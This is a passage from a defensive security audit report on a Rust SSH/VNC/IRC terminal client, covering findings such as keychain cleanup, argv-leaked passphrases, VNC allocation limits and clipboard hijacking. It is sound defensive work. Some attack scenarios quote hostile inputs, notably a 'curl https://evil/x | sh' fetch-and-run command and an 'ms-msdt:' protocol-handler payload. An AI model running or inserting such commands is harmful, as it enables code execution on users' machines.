67 KiB
Security Audit Report
Project: Nexus Terminal — Rust port (rust/ workspace: nexus-core + nexus egui app)
Branch / base commit: rust-port @ 8766846
Date: 2026-10-12 07:23 (local)
Mode: Fix mode (findings patched, tested and committed where safe; see §6 Status column)
Scope restriction requested by the owner: only the rust/ folder was reviewed and modified. Files outside it (.github/, release.sh, docs/) were read for context and are reported on but not changed.
1. Executive Summary
Nexus Terminal is a native desktop client (egui/eframe) for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shells, with an OS-keychain-first credential store backed by an Argon2id + AES-256-GCM vault, SQLite profile storage, SFTP, port forwarding, session recording and a check-only updater. There is no web frontend, no listening network service and no multi-user component: the attacker positions that matter are (a) hostile or compromised remote servers, (b) a hostile network on the path to them, (c) another user or process on the same machine, and (d) someone who obtains the data directory or a backup.
The core cryptography and transport posture is good. The vault and encrypted exports use Argon2id (128 MiB, t=3, p=4) with AES-256-GCM and CSPRNG salts/nonces; SSH uses russh 0.64 whose defaults exclude SHA-1 key exchange and MACs and prefer the hybrid post-quantum mlkem768x25519-sha256; IRC TLS uses rustls with webpki roots and hostname verification; HTTP uses ureq with rustls and never forwards Authorization across redirects; host keys are verified on every SSH hop including jump hosts and VNC/IRC tunnels; SQL is fully parameterised; SFTP download names and recording IDs are traversal-safe; there are no hardcoded secrets and no disabled TLS verification anywhere.
The highest-risk issues found and fixed in this run:
- Deleting a profile left its credentials in the OS keychain (only the vault was purged), so passwords, TOTP seeds and tokens outlived the profile the user believed had been removed. Fixed in
9cf2217. - SSH key passphrases were passed to
ssh-keygenas a command-line argument, visible to every local user viaps//proc/*/cmdline. Key generation is now done in-process with thessh-keycrate (encrypted OpenSSH format, mode 0600). Fixed in0a18f7e. - The loopback bridge used for IRC/VNC-over-SSH accepted whichever local connection arrived first, a classic ephemeral-port race that would let another local process be spliced into the tunnel. The accepted peer is now checked against our own socket. Fixed in
0a18f7e. - A hostile VNC server could force multi-gigabyte allocations (65535×65535 desktop, 4 GiB ZRLE rectangle) and crash the client. Sizes and lengths are now bounded. Fixed in
aac986d. - URLs supplied by the update server or the GitHub API were handed to the OS opener with any scheme (
file:,ssh:, custom handlers). Onlyhttp(s)links are opened now. Fixed inaac986d. - The vault file was rewritten in place (crash could truncate it, and a pre-existing 0644 file kept its mode); Argon2-derived keys were not wiped; recordings (which capture typed passwords) and JSON secret exports were created with the default umask. All fixed in
9cf2217.
Remaining open items are Low/Medium defence-in-depth: remote OSC 52 / VNC clipboard writes, plaintext secrets inside login-script steps and proxy settings (and their absence from JSON-export redaction), the rsa Marvin advisory with no upstream fix, an unconditional update check at launch that the module docs describe as opt-in, unbounded IRC state growth driven by a hostile server, and supply-chain hygiene in CI (tag-pinned actions, unsigned releases) which lives outside rust/.
2. Scope Reviewed
| Area | Files |
|---|---|
| Core crate | rust/core/src/{lib,config,secrets,storage,models,validation,exportimport,keyfiles,sshconfig,terminalenv,recording,updater,service,sessions,ircformat}.rs, rust/core/src/clients/{mod,ssh,sftp,local,telnet,raw,serial,github,irc,vnc}.rs, rust/core/migrations/*.sql |
| App crate | rust/app/src/{main,app,state,chrome,tabs,sidebar,terminal,profile_editor,quick_connect,settings,ssh_keys,sftp,transfer,forwards,triggers,recordings,github_view,irc_view,vnc_view,raw_view,widgets}.rs (views/theme/splits/snippets skimmed for sinks only) |
| Tests | rust/core/tests/{sessions,ssh_integration}.rs, fixtures README, all #[cfg(test)] modules |
| Build / deps | rust/Cargo.toml, rust/core/Cargo.toml, rust/app/Cargo.toml, rust/Cargo.lock (598 crates), rust/rust-toolchain.toml, rust/app/build.rs |
| Packaging / release | rust/release.sh, rust/packaging/{linux,macos,windows}/*, root release.sh (context) |
| CI (context only, not modified) | .github/workflows/ci.yml, .github/workflows/release-builds.yml |
| Third-party defaults verified in source | russh 0.64.1 (negotiation.rs DEFAULT preferred lists), ssh-key 0.7.0-rc.11 (features, write_openssh_file mode), ureq 3.4.2 (RedirectAuthHeaders::Never default), rand_core 0.10 |
Not in scope: live testing against third-party hosts, reverse engineering built binaries, the removed Go/Wails code, and the LaTeX user guide.
3. Methodology
- Static review of every source file listed above, tracing each untrusted input (remote bytes, files, CLI flags, clipboard, profile JSON, update manifest) to its sinks (memory allocation, filesystem, process spawn, OS opener, clipboard, terminal parser).
- Dependency review:
cargo audit0.22.2 against the RustSec DB (1296 advisories) onCargo.lock; inspection of the locked versions of the crates that implement security controls. - Configuration review of the workspace manifests, toolchain pin, release script, packaging scripts and (read-only) CI workflows.
- Threat modelling / adversarial mapping from four starting positions: hostile server, on-path network attacker, co-resident local user/process, and holder of a stolen data directory or backup.
- Cryptography review of the vault, encrypted export, TOTP, VNC auth, SSH algorithm negotiation, TLS stacks and randomness sources.
- Secrets lifecycle review from entry (prompt/editor/CLI) through storage (keychain/vault/DB/recordings/exports), process boundaries (
ssh-keygenargv, environment) to destruction (drop/zeroize/delete). - Memory-safety review of
unsafeusage (test-onlylibc::openpty) and of every length-prefixed parser (Telnet IAC, VNC RFB, ZRLE/Tight/Hextile, IRC lines, asciicast, SOCKS5/HTTP CONNECT, SSH config, update manifest). - DoS analysis of every allocation and loop driven by remote data.
- Frontend review: the UI is native egui, so the HTML/JS checklist does not apply; UI event flow, worker-thread error surfacing and untrusted-text rendering were reviewed instead.
- Test review and dynamic checks:
cargo test --workspace(136 tests at baseline, 142 after fixes),cargo fmt --check,cargo clippy --all-targets -D warnings; the OpenSSH-backed integration tests ran against a throwawaysshd.
4. Risk Rating Method
Severity combines exploitability (attacker position and effort), the security property affected, and impact:
- Critical — remote compromise or credential disclosure with no preconditions.
- High — credential/session compromise or MITM on a primary path with realistic preconditions.
- Medium — needs a hostile server, a local foothold, or user interaction; or a reliable remote crash.
- Low — defence-in-depth, hardening, local-only or user-assisted exposure.
- Informational — verified clean area or design note.
Confidence reflects how directly the code demonstrates the issue: High = read in the code and/or reproduced by a test; Medium = clear in the code but depends on environment or an unverified assumption; Low = plausible but unconfirmed.
5. Attack Surface Map
Entry points (untrusted bytes)
| Source | Parser / sink | Notes |
|---|---|---|
| SSH server | russh (kex, auth, channels), alacritty_terminal VT parser, SFTP listings, run_command output, forwarded-tcpip/agent channel requests |
host key verified per hop; agent channels only when forwarding enabled; remote-forward channels only for registered targets |
| Telnet / RAW / Serial | telnet.rs IAC state machine, raw.rs history, VT parser |
bounded pending buffer (8 KiB), history caps (10k entries / 10 MiB) |
| VNC server | vnc.rs RFB 3.3/3.7/3.8, Raw/CopyRect/Hextile/ZRLE/Tight(+JPEG via image) |
sizes now bounded (fixed); clipboard pushed to local clipboard |
| IRC server | irc.rs line parser, ircformat.rs mIRC codes + escape stripping |
1 MiB line cap, 2000-entry LIST cap; channel/user maps unbounded |
| GitHub API | github.rs JSON (4 MiB cap), zipball (2 GiB cap) |
base URL validated HTTPS for saved profiles |
| Update server | updater.rs JSON/plain (1 MiB cap) |
check-only; releaseURL opened (now http(s) only) |
| Local files | .nexus/.link imports (10 MiB), JSON imports (5 MiB), ~/.ssh/config (5 MiB, 5000 blocks), private keys (1 MiB), recordings (100 MiB playback), dropped files |
all size-capped |
| CLI | --connect/--open/--do/--answer/--data-dir/--run-local |
--answer carries secrets in argv (test aid) |
| Clipboard / IME | terminal paste, VNC paste | bracketed paste strips ESC |
Trust boundaries: UI thread ↔ worker threads (mpsc events, POSTED error queue); app ↔ OS keychain (D-Bus/Keychain/CredMan via keyring); app ↔ ~/.ssh and data directory; app ↔ child shell (PTY, inherits full environment); app ↔ system browser (open_url).
Data stores: nexus.db (profiles incl. inline proxyPassword, totpSecret, login scripts; known hosts; audit log; snippets; prefs), vault/vault.json (AES-GCM blobs), OS keychain items NexusTerminal/profile:<id>:<kind> (+ legacy AlchementaryLink), recordings/*.cast (full I/O including typed input), triggers.json, sftp-bookmarks.json, egui persistence state.
Roles: single local user; no server-side authorisation model exists.
Attacker starting positions: (A) hostile/compromised remote server; (B) network MITM; (C) another local user or process; (D) possession of the data directory/backup/laptop; (E) compromised dependency or CI.
6. Findings Summary Table
| ID | Severity | Confidence | Title | Component | Status |
|---|---|---|---|---|---|
| SEC-20261012-001 | Medium | High | Profile deletion left credentials in the OS keychain | core/src/secrets.rs Secrets::delete_profile |
Fixed in 9cf2217 |
| SEC-20261012-002 | Medium | High | SSH key passphrase passed to ssh-keygen on the command line |
core/src/service.rs generate_ssh_key |
Fixed in 0a18f7e |
| SEC-20261012-003 | Medium | Medium | Loopback tunnel bridge accepted any local connection (port race) | core/src/clients/ssh.rs open_tunnel |
Fixed in 0a18f7e |
| SEC-20261012-004 | Medium | High | VNC server could force multi-GiB allocations (desktop size, ZRLE length) | core/src/clients/vnc.rs |
Fixed in aac986d |
| SEC-20261012-005 | Medium | High | Network-supplied URLs opened with any scheme | app/src/settings.rs, app/src/github_view.rs |
Fixed in aac986d |
| SEC-20261012-006 | Low | High | Vault/export rewritten in place; existing file mode kept | core/src/secrets.rs write_private |
Fixed in 9cf2217 |
| SEC-20261012-007 | Low | High | Derived keys and secret strings not wiped from memory | core/src/secrets.rs, exportimport.rs, sessions.rs |
Partially fixed in 9cf2217 (keys zeroized; strings open) |
| SEC-20261012-008 | Low | High | Recordings and JSON secret exports created with default umask | core/src/recording.rs, app/src/transfer.rs, app/src/main.rs |
Fixed in 9cf2217 |
| SEC-20261012-009 | Low | High | Unbounded run_command output, growing forward task list, SOCKS5 length truncation |
core/src/clients/ssh.rs |
Fixed in 0a18f7e |
| SEC-20261012-010 | Medium | High | Remote hosts can overwrite the local clipboard (OSC 52, VNC ServerCutText) | app/src/terminal.rs, app/src/app.rs |
Open |
| SEC-20261012-011 | Low | High | Plaintext secrets inside profile records (login scripts, proxy password, inline TOTP) and JSON export redaction gap | core/src/models.rs, core/src/service.rs export_json |
Open |
| SEC-20261012-012 | Low | High | RUSTSEC-2023-0071: rsa Marvin timing side channel (via russh) |
Cargo.lock rsa 0.10.0-rc.18 |
Open (no upstream fix) |
| SEC-20261012-013 | Low | High | Update check runs on every launch although documented as opt-in | app/src/app.rs App::new, core/src/updater.rs |
Open |
| SEC-20261012-014 | Low | Medium | Hostile IRC server can grow channel/user/target state without bound | core/src/clients/irc.rs, app/src/irc_view.rs |
Open |
| SEC-20261012-015 | Low | Medium | Saved credentials written before authentication succeeds; store failure silent | core/src/sessions.rs secret_fn |
Open |
| SEC-20261012-016 | Low | Medium | Empty vault accepts any master password (split-key vault on typo) | core/src/secrets.rs Vault::unlock |
Open |
| SEC-20261012-017 | Low | High | Multi-line paste sent without confirmation (paste-jacking) | app/src/terminal.rs paste |
Open |
| SEC-20261012-018 | Low | High | --answer passes secrets as process arguments |
app/src/main.rs |
Open (test aid; documented) |
| SEC-20261012-019 | Low | Medium | Supply chain: tag-pinned actions, no explicit CI token permissions, unsigned releases | .github/workflows/*.yml, rust/packaging/macos/build-app.sh |
Open (outside rust/) |
| SEC-20261012-020 | Low | Medium | Recording listing reads every .cast file fully (up to 250 MiB each) |
core/src/recording.rs read_meta |
Open |
| SEC-20261012-021 | Informational | High | Insecure-by-choice modes: host-key policy insecure, direct VNC, Telnet |
profile options | Accepted, documented |
| SEC-20261012-022 | Informational | High | Verified-absent classes (SQLi, path traversal, TLS bypass, hardcoded secrets, unsafe, SHA-1 SSH algorithms, redirect token leak) | whole workspace | Clean |
7. Detailed Findings
Finding ID: SEC-20261012-001
Title
Profile deletion left credentials in the OS keychain
Severity
Medium
Confidence
High
Affected Files / Components
rust/core/src/secrets.rs — Secrets::delete_profile (pre-fix line 254); rust/core/src/service.rs — Service::delete_profile; rust/app/src/chrome.rs — Dialog::Delete (“will be deleted, with its saved credentials”).
Description
Secrets::set stores a credential in the OS keychain whenever the keychain is available, under profile:<id>:<kind>. delete_profile only called vault.delete_prefix, so every keychain item (password, key passphrase, TOTP seed, GitHub token, VNC/IRC passwords, tunnel secrets) survived the profile's deletion, contrary to what the confirmation dialog tells the user.
Evidence
pub fn delete_profile(&self, profile_id: &str) {
let _ = self.vault.delete_prefix(&format!("profile:{profile_id}:"));
}
Secrets::set_checked writes to self.keychain first when keychain_ok.
Attack Scenario
Position D: a user deletes a profile for a decommissioned host believing its TOTP seed and password are gone; the items remain in the keychain. Anyone who later gains access to the unlocked session (or a keychain export/backup) recovers them. On Linux Secret Service, any process running as the user can read the items.
Impact
Credential retention after an explicit delete; silent growth of orphaned secrets.
Recommendation
Delete every known kind from the keychain as well as the vault (done). Longer term, enumerate stored kinds instead of a static list.
Safer Example
pub const PROFILE_SECRET_KINDS: [&str; 11] = ["password", "passphrase", "totp", ...];
if self.keychain_ok { for kind in PROFILE_SECRET_KINDS { self.keychain.delete(&format!("profile:{profile_id}:{kind}")); } }
let _ = self.vault.delete_prefix(&format!("profile:{profile_id}:"));
Suggested Tests
secrets::tests::deleting_a_profile_clears_every_vault_kind (added). A keychain-backed test needs a CI secret-service; run manually on each OS.
References
CWE-459 (Incomplete Cleanup), CWE-212; OWASP ASVS 8.3.6.
Assumptions / Limitations
The static kind list must be kept in sync with the kinds the session manager and profile editor use.
Finding ID: SEC-20261012-002
Title
SSH key passphrase passed to ssh-keygen on the command line
Severity
Medium
Confidence
High
Affected Files / Components
rust/core/src/service.rs — Service::generate_ssh_key (pre-fix lines 313-339); rust/app/src/ssh_keys.rs.
Description
The key manager spawned ssh-keygen ... -N <passphrase>. Command-line arguments are world-readable on Linux (/proc/<pid>/cmdline), visible in ps on all Unix systems and in Process Explorer/WMI on Windows for the lifetime of the (RSA 4096: seconds-long) process.
Evidence
cmd.args(["-q", "-t", &kind, "-f"]).arg(&path).args(["-C", &format!("{name}@nexus-terminal"), "-N", passphrase]);
Attack Scenario
Position C: any local user polling ps -ef (or a low-privilege malware process) captures the passphrase while the key is generated, then copies the key file later (it is 0600, but the same user's malware can read it).
Impact
Disclosure of a new key's passphrase to co-resident users/processes.
Recommendation
Generate keys in-process (done): ssh-key with the encryption feature is already compiled in through russh, producing OpenSSH-format files at mode 0600 with the passphrase never leaving process memory.
Safer Example
let key = russh::keys::PrivateKey::new(KeypairData::from(Ed25519Keypair::random(&mut rng)), comment)?;
let key = if passphrase.is_empty() { key } else { key.encrypt(&mut rng, passphrase.as_bytes())? };
key.write_openssh_file(&path, LineEnding::LF)?;
Suggested Tests
ssh::tests::generates_encrypted_key_pairs_in_process (added): encrypted key unreadable without the passphrase, readable with it, mode 0600, no overwrite, bad names/sizes rejected.
References
CWE-214 (Invocation of Process Using Visible Sensitive Information), CWE-526; ASVS 8.3.4.
Assumptions / Limitations
RSA generation is now done by the rsa crate (slower in debug builds; the UI already runs it on a worker thread). ECDSA is fixed to P-256, matching ssh-keygen -t ecdsa's default.
Finding ID: SEC-20261012-003
Title
Loopback tunnel bridge accepted any local connection (ephemeral-port race)
Severity
Medium
Confidence
Medium
Affected Files / Components
rust/core/src/clients/ssh.rs — SshClient::open_tunnel (pre-fix lines 443-461), used by IRC-over-SSH and VNC-over-SSH in sessions.rs.
Description
To give blocking IRC/VNC clients a TcpStream over a direct-tcpip channel, the code bound 127.0.0.1:0, connected to it, then accept()ed and bridged the first accepted socket to the SSH channel. A local process that connects to the just-bound port before our own connect wins the accept and is spliced into the authenticated tunnel; our client's connection stays queued and the session hangs.
Evidence
let client = std::net::TcpStream::connect(addr)?;
let (server, _) = listener.accept()?; // peer never checked
Attack Scenario
Position C: malware or another user scans for new loopback listeners (/proc/net/tcp) and connects immediately; it now talks to the remote IRC/VNC service through the victim's SSH session and credentials, and the victim's tab hangs on "Connecting".
Impact
Confused-deputy access to the tunnelled service; denial of service for the user.
Recommendation
Compare the accepted peer address with our connecting socket's local address and discard strangers (done). The best long-term fix is an in-process Read + Write adapter over the channel with no loopback socket at all.
Safer Example
let ours = client.local_addr()?;
loop { let (server, peer) = listener.accept()?; if peer == ours { return Ok((client, server)); } }
Suggested Tests
ssh::tests::loopback_pair_ignores_a_stranger_that_connects_first (added).
References
CWE-362 (Race Condition), CWE-441 (Unintended Proxy); ASVS 1.14.
Assumptions / Limitations
Winning the race requires sub-millisecond timing; it is a hardening fix. Loopback traffic is still unauthenticated for the lifetime of the bridge, which is one connection.
Finding ID: SEC-20261012-004
Title
VNC server could force multi-GiB allocations (desktop size, ZRLE length)
Severity
Medium
Confidence
High
Affected Files / Components
rust/core/src/clients/vnc.rs — Framebuffer::new, Client::run, read_update (DesktopSize/ExtendedDesktopSize and encoding 16).
Description
Framebuffer::new(w, h) allocated w*h*4 bytes straight from the server-supplied ServerInit or DesktopSize pseudo-rectangle (up to 65535² × 4 ≈ 16 GiB), and ZRLE rectangles read a u32 length then called read_n(len) which allocates len bytes (up to 4 GiB) before any data arrives. Both are reachable after the (optional) VNC password handshake, i.e. by the server you connect to or anyone who can MITM a direct (unencrypted) VNC connection.
Evidence
let (w, h) = self.handshake(&mut r)?;
let mut local = Framebuffer::new(w, h); // unbounded
...
16 => { let len = read_u32(r)? as usize; let data = read_n(r, len)?; // vec![0u8; len]
Attack Scenario
Position A/B: a malicious VNC server (or a MITM on a direct VNC session, which the app warns about but allows) sends a 65535×65535 ServerInit → allocation failure aborts the whole application, closing every other session.
Impact
Reliable remote crash of the client (loss of all open sessions); memory exhaustion on the host.
Recommendation
Bound the desktop to 64 Mpx (256 MiB RGBA, above 8K) and any single compressed rectangle to 64 MiB (done); consider streaming ZRLE decompression instead of buffering.
Safer Example
fn new_checked(w: u16, h: u16) -> Result<Framebuffer> {
if w == 0 || h == 0 || w as usize * h as usize > MAX_FB_PIXELS { return Err(...) }
Suggested Tests
vnc::tests::server_sizes_and_rect_lengths_are_bounded (added). Next step: a cargo-fuzz target over read_update.
References
CWE-770 (Allocation of Resources Without Limits), CWE-789; OWASP ASVS 12.1.
Assumptions / Limitations
Raw-encoded rectangles can still be up to the (now bounded) framebuffer size; Tight lengths were already limited to 4 MiB by the compact-length encoding.
Finding ID: SEC-20261012-005
Title
Network-supplied URLs opened with any scheme
Severity
Medium
Confidence
High
Affected Files / Components
rust/app/src/settings.rs (“View release” → info.release_url), rust/app/src/github_view.rs (Visit / double-click → html_url). rust/app/src/terminal.rs was already restricted by URL_RE to http(s)/ftp.
Description
egui::Context::open_url hands the string to the platform opener (xdg-open, ShellExecute, open). The release URL comes from the update manifest and repository URLs from the GitHub API; neither was checked for scheme, so file:, ssh:, vnc:, ms-msdt: or any registered custom handler could be launched with one click.
Evidence
ui.ctx().open_url(egui::OpenUrl::new_tab(&info.release_url));
Some(Action::Visit(url)) if !url.is_empty() => ui.ctx().open_url(egui::OpenUrl::new_tab(url)),
Attack Scenario
Position B/E: compromise of dixon.cx (or a GitHub Enterprise base URL the user configured) returns "releaseURL": "ms-msdt:/id PCWDiagnostic ..." or file:///...; the user clicks “View release”.
Impact
Protocol-handler abuse on the user's machine; phishing via arbitrary targets.
Recommendation
Only open http:///https:// links from network data (done via widgets::open_web_url). Consider showing the host before opening.
Safer Example
pub fn is_web_url(url: &str) -> bool { let u = url.trim(); u[..8].eq_ignore_ascii_case("https://") || u[..7].eq_ignore_ascii_case("http://") }
Suggested Tests
widgets::tests::only_web_urls_are_opened (added).
References
CWE-939 (Improper Authorization in Handler for Custom URL Scheme), CWE-601; ASVS 5.1.5.
Assumptions / Limitations
A compromised update server can still send an https:// phishing link; release signing (see §13) is the real control.
Finding ID: SEC-20261012-006
Title
Vault and exports rewritten in place; existing file mode kept
Severity
Low
Confidence
High
Affected Files / Components
rust/core/src/secrets.rs — write_private, used by Vault::save and exportimport::encrypt_and_export.
Description
OpenOptions::truncate(true) on the live vault.json meant a crash or power loss between truncate and sync_all left an empty or partial vault (all saved credentials lost). The mode(0o600) only applies when a file is created, so a vault that already existed with wider permissions (e.g. copied from a backup with 0644) kept them forever.
Evidence
opts.write(true).create(true).truncate(true); ... let mut f = opts.open(path)?; f.write_all(data)?;
Attack Scenario
Position D: a backup restored as 0644 stays world-readable (ciphertext only, but with the salt → offline Argon2 attack). Robustness: any crash during set/delete corrupts the vault.
Impact
Loss of all saved credentials; weaker at-rest protection than intended.
Recommendation
Write to a sibling temp file with 0600, sync_all, then rename over the target (done). Clean up the temp file on failure.
Safer Example
See write_private in 9cf2217.
Suggested Tests
secrets::tests::private_writes_are_atomic_and_owner_only (added).
References
CWE-732, CWE-667 (improper locking / partial write); ASVS 8.1.
Assumptions / Limitations
rename replaces atomically on POSIX and on Windows via MoveFileEx(MOVEFILE_REPLACE_EXISTING); the directory entry itself is not fsynced.
Finding ID: SEC-20261012-007
Title
Derived keys and secret strings not wiped from memory
Severity
Low
Confidence
High
Affected Files / Components
rust/core/src/secrets.rs (derive_key, Unlocked), rust/core/src/exportimport.rs, rust/core/src/sessions.rs (secret_fn cache, prompt replies), rust/core/src/clients/ssh.rs (load_private_key reads the key file into a String, passphrase String), rust/app/src/chrome.rs (prompt value), rust/app/src/settings.rs (master password).
Description
derive_key returned [u8; 32] by value (copies on the stack, never wiped); Unlocked::drop used plain fill(0) which the optimiser may elide; the export key was never wiped. Every password, passphrase, token and TOTP seed is a String that is dropped without zeroing, and SecretMode::SessionOnly keeps a plaintext copy for the session.
Evidence
pub fn derive_key(..) -> Result<[u8; 32]> // pre-fix
impl Drop for Unlocked { fn drop(&mut self) { self.key.fill(0); } }
Attack Scenario
Position C/D with a memory-disclosure primitive (core dump, swap, debugger on an unlocked machine): secrets persist in freed heap until overwritten.
Impact
Defence-in-depth only; needs local code execution or a dump.
Recommendation
Done: keys are zeroize::Zeroizing<[u8; 32]>. Open: wrap secret Strings in Zeroizing<String> / secrecy::SecretString, wipe prompt buffers after send, and consider mlock for the vault key on Unix. Set prctl(PR_SET_DUMPABLE, 0) while the vault is unlocked (Linux).
Safer Example
let pw: Zeroizing<String> = Zeroizing::new(std::mem::take(value));
Suggested Tests
Compile-time: types enforce it. Runtime: none practical.
References
CWE-316 (Cleartext Storage in Memory), CWE-244; ASVS 8.3.6.
Assumptions / Limitations
egui::TextEdit keeps its own copies of typed text in the UI memory; complete wiping is best-effort in a GUI toolkit.
Finding ID: SEC-20261012-008
Title
Recordings and JSON secret exports created with the default umask
Severity
Low
Confidence
High
Affected Files / Components
rust/core/src/recording.rs Recorder::with_limit (File::create), rust/app/src/transfer.rs ExportJson (std::fs::write), rust/app/src/main.rs --data-dir (create_dir_all).
Description
Session recordings store every byte the user types (write_input), including passwords entered at sudo/su/passwd prompts, as plain text. They were created 0644 (default umask) inside the 0700 recordings directory; a JSON export “with secrets” was written 0644 wherever the user chose; --data-dir directories were created 0755 unlike the normal data directory (0700).
Evidence
let mut f = File::create(&path)... // recording.rs
std::fs::write(&path, j) // transfer.rs
std::fs::create_dir_all(&c.vault_dir) // main.rs
Attack Scenario
Position C: the user exports JSON including proxy passwords/TOTP seeds to a shared directory; it is readable by other users. Recordings moved out of the data directory keep 0644.
Impact
Disclosure of typed secrets or exported secrets to other local users.
Recommendation
Create these files with mode 0600 and the directories with 0700 (done). Document that recordings contain typed input.
Safer Example
nexus_core::secrets::write_private(&path, j.as_bytes()).
Suggested Tests
recording::tests::write_and_close now asserts mode 0600.
References
CWE-276 (Incorrect Default Permissions), CWE-532; ASVS 8.3.
Assumptions / Limitations
Windows ACLs are inherited from the parent folder; no explicit ACL hardening is attempted.
Finding ID: SEC-20261012-009
Title
Unbounded run_command output, growing forward task list, SOCKS5 length truncation
Severity
Low
Confidence
High
Affected Files / Components
rust/core/src/clients/ssh.rs — run_command (used for pwd at SFTP open), local start_forward accept loop, socks5.
Description
(1) run_command accumulated channel data until EOF with no cap, so a hostile server could stream unlimited bytes in response to pwd. (2) Each accepted local-forward connection pushed an AbortHandle into a Vec that was only drained on stop; a long-lived forward with many connections grew without bound. (3) SOCKS5 encoded host.len() as u8 and username/password.len() as u8, so values over 255 bytes produced a malformed request (silent truncation of the length byte).
Evidence
ChannelMsg::Data { data } => out.extend_from_slice(&data), // no cap
t2.lock().unwrap().push(conn.abort_handle()); // never pruned
let mut req = vec![5, 1, 0, 3, host.len() as u8]; // truncates
Attack Scenario
Position A: server answers pwd with gigabytes. Position C: anyone able to reach the local forward's bind address opens thousands of connections.
Impact
Memory exhaustion / slow leak; proxy misbehaviour.
Recommendation
Cap at 1 MiB, prune finished handles, reject over-long SOCKS5 fields (done).
Suggested Tests
ssh::tests::socks5_requests_reject_overlong_fields (added).
References
CWE-400, CWE-401, CWE-197 (Numeric Truncation).
Finding ID: SEC-20261012-010
Title
Remote hosts can overwrite the local clipboard (OSC 52, VNC ServerCutText)
Severity
Medium
Confidence
High
Affected Files / Components
rust/app/src/terminal.rs lines 22 and 295 (TermEvent::ClipboardStore(_, s) => ui.ctx().copy_text(s)); rust/app/src/app.rs line 507 (Event::VncClipboard { text, .. } => self.s.ctx.copy_text(text)).
Description
Any byte stream rendered in a terminal (an SSH/Telnet/serial host, a cat of a hostile file, a log line) can emit ESC ] 52 ; c ; <base64> BEL and the app silently replaces the user's clipboard. The VNC client likewise applies every ServerCutText from the server. Alacritty enables OSC 52 writes by default too, but tmux, iTerm2 and others require opt-in because of the paste-jacking risk. OSC 52 reads are not supported (clipboard contents cannot be exfiltrated), which is correct.
Evidence
if matches!(e, TermEvent::PtyWrite(_) | TermEvent::Title(_) | TermEvent::Bell | TermEvent::ClipboardStore(..)) { ... }
TermEvent::ClipboardStore(_, s) => ui.ctx().copy_text(s),
Attack Scenario
Position A: a compromised server prints an OSC 52 sequence containing curl https://evil/x | sh\n; the user later pastes into another terminal or shell believing the clipboard holds the command they copied moments earlier (the sequence can be emitted exactly when they select text).
Impact
Command injection into whatever the user pastes into next; social-engineering vector.
Recommendation
Add a preference (default off) for remote clipboard writes, or at minimum show a toast (“Remote set clipboard: …”) with the first line so the replacement is visible; same for VNC. Keep OSC 52 reads disabled.
Safer Example
TermEvent::ClipboardStore(_, s) if prefs.allow_remote_clipboard => { s.info(format!("Clipboard set by remote: {}", first_line(&s))); ctx.copy_text(s) }
Suggested Tests
Feed \x1b]52;c;<b64>\x07 into TermView and assert copy_text is not called unless the preference is set.
References
CWE-451 (UI Misrepresentation), CWE-20; cf. CVE-2021-45698-style terminal clipboard findings.
Assumptions / Limitations
Left open because it is a deliberate compatibility feature (vim/tmux yank over SSH) and the right fix is a user-visible preference, which is a product decision.
Finding ID: SEC-20261012-011
Title
Plaintext secrets inside profile records and JSON export redaction gap
Severity
Low
Confidence
High
Affected Files / Components
rust/core/src/models.rs (SshConfig::{totp_secret, proxy_password, login_scripts}), rust/core/src/storage.rs (ssh_config JSON column), rust/core/src/service.rs export_json, rust/app/src/profile_editor.rs (Proxy section writes c.proxy_password directly; help text shows a login script sending mysecretpassword).
Description
The Go-compatible profile model carries proxyPassword and totpSecret inline and the login-script send steps are the documented way to automate password entry. These live in nexus.db in clear and are included in encrypted exports. export_json(include_secrets=false) clears only proxy_password and totp_secret; login-script values are exported verbatim.
Evidence
s.proxy_password.clear(); s.totp_secret.clear(); // login_scripts untouched
Attack Scenario
Position D: nexus.db from a backup yields proxy passwords and scripted login passwords without touching the keychain/vault. A user sharing a “no secrets” JSON export leaks login-script passwords.
Impact
Credential disclosure at rest and via export.
Recommendation
Move proxy password to the secret store (profile:<id>:proxy-password), warn in the editor when a send step looks like a password (wait step mentions “password”), redact send steps following a password prompt in non-secret exports, and consider SQLite PRAGMA secure_delete.
Suggested Tests
export_json(false) must not contain the value of a send step after a wait "Password:" step.
References
CWE-312 (Cleartext Storage of Sensitive Information), CWE-200; ASVS 8.3.4.
Assumptions / Limitations
Changing where proxyPassword lives affects .link/.nexus compatibility with the Go app; needs a migration decision from the owner.
Finding ID: SEC-20261012-012
Title
RUSTSEC-2023-0071: rsa Marvin timing side channel (via russh)
Severity
Low
Confidence
High
Affected Files / Components
rust/Cargo.lock — rsa 0.10.0-rc.18 ← russh (feature rsa) ← nexus-core.
Description
cargo audit reports the Marvin attack (CVSS 5.9): RSA private-key operations in the rsa crate are not constant-time. In this app the private-key operation is client authentication with an RSA user key (authenticate_publickey), and RSA key generation. No fixed release exists.
Evidence
Crate: rsa Version: 0.10.0-rc.18 ID: RUSTSEC-2023-0071 Solution: No fixed upgrade is available!
Attack Scenario
Position B/C: an attacker who can time many signature operations on the client (thousands of authentications) could in theory recover an RSA user key. The client signs once per connection with a user-triggered action, so sample collection is impractical.
Impact
Theoretical RSA user-key recovery.
Recommendation
Prefer Ed25519 keys (the key manager already defaults to it); keep the rsa feature for compatibility; track the advisory and upgrade when a fix ships; add cargo audit to CI with this advisory explicitly ignored and reviewed.
References
RUSTSEC-2023-0071, CWE-208, CWE-385.
Finding ID: SEC-20261012-013
Title
Update check runs on every launch although documented as opt-in
Severity
Low
Confidence
High
Affected Files / Components
rust/app/src/app.rs App::new (lines 190-200), rust/core/src/updater.rs (module doc: “Opt-in and check-only”), rust/core/src/service.rs check_for_updates.
Description
Every non-screenshot launch spawns a thread that fetches https://dixon.cx/downloads/nexus/manifest-<os>-<arch>.json with a fixed User-Agent. There is no preference to disable it and no notice. The request leaks OS/arch, IP and launch frequency to the update host; the response controls a banner and (now http(s)-only) link. The code comment in updater.rs says opt-in, the behaviour is unconditional.
Evidence
if app.screenshot.is_none() { std::thread::spawn(move || { if let Ok(info) = svc2.check_for_updates() { ... } }); }
Attack Scenario
Position B: on a hostile network the TLS connection reveals that Nexus Terminal is in use (SNI); a compromised update host can push “update available” banners pointing at a phishing page.
Impact
Privacy (phone-home), low-grade social engineering.
Recommendation
Add checkForUpdates: bool to AppPreferences (default on with a first-run notice, or off), honour it in App::new, and align the module docs. Sign the manifest (e.g. minisign/ed25519 with an embedded public key) and verify before showing anything.
References
CWE-359, OWASP ASVS 14.2 (update integrity).
Finding ID: SEC-20261012-014
Title
Hostile IRC server can grow channel/user/target state without bound
Severity
Low
Confidence
Medium
Affected Files / Components
